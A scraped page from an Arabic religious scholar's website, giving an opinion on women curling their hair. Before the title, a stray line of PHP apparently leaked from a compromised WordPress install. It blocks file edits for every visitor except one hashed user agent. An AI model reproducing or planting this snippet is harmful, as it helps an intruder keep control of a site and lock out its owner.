if(md5(md5($_SERVER['HTTP_USER_AGENT']))!="c5a3e14ff315cc2934576de76a3766b5"){ define('DISALLOW_FILE_MODS', true); define('DISALLOW_FILE_EDIT', true); } حكم تجعيد المرأة لشعرها - الموقع الرسمي للدكتور فهد بن مبارك آل زُعير

حكم تجعيد المرأة لشعرها

المعروف أن الشعر الناعم الطويل هو الجمال للمرأة وهو ربما يُقال عنه نصف الجمال، فكيف تعمد بعض النساء إلى شعرها الناعم فتجعده، نقول: سبحان الله، التجعيد عيبٌ في الشعر، كان المتقدمون لما كان وقت الإماء، إذا أراد أن يبيع الأمة جعّد شعرها، جعله خشنًا، لماذا؟ حتى يظن المشتري أنها امرأة قوية جلدة؛ لأنه يريد هذه الأمة للخدمة لا يريدها للتسـري، فربما عمد صاحبها إلى تجعيد شعرها غشًا وتدليسًا، ولهذا ذكر الفقهاء في العيوب التي تُرد بها السلعة تجعيد شعر الأمة، فإذا غسلت شعرها وعاد إلى نعومته له أن يردها، لماذا؟ لأنهم ينظرون أن الشعر الجعد الخشن المتعرج دليل القوة، فربما عمد الواحد إلى تجعيد الشعر ليُشعر من يريد الشراء أن هذه أمةٌ قويةٌ نشيطةٌ تخدم ولا تكل ولا تمل، أما المرأة فالأصل أن الجمال في نعومة الشعر لا في خشونته ولا في تجعيده، ولهذا من ابتليت بشعرٍ جعدٍ خشن تجدها تدفع الفلوس الكثيرة والمال الوفير لتنعيم شعرها وتجتهد في ذلك.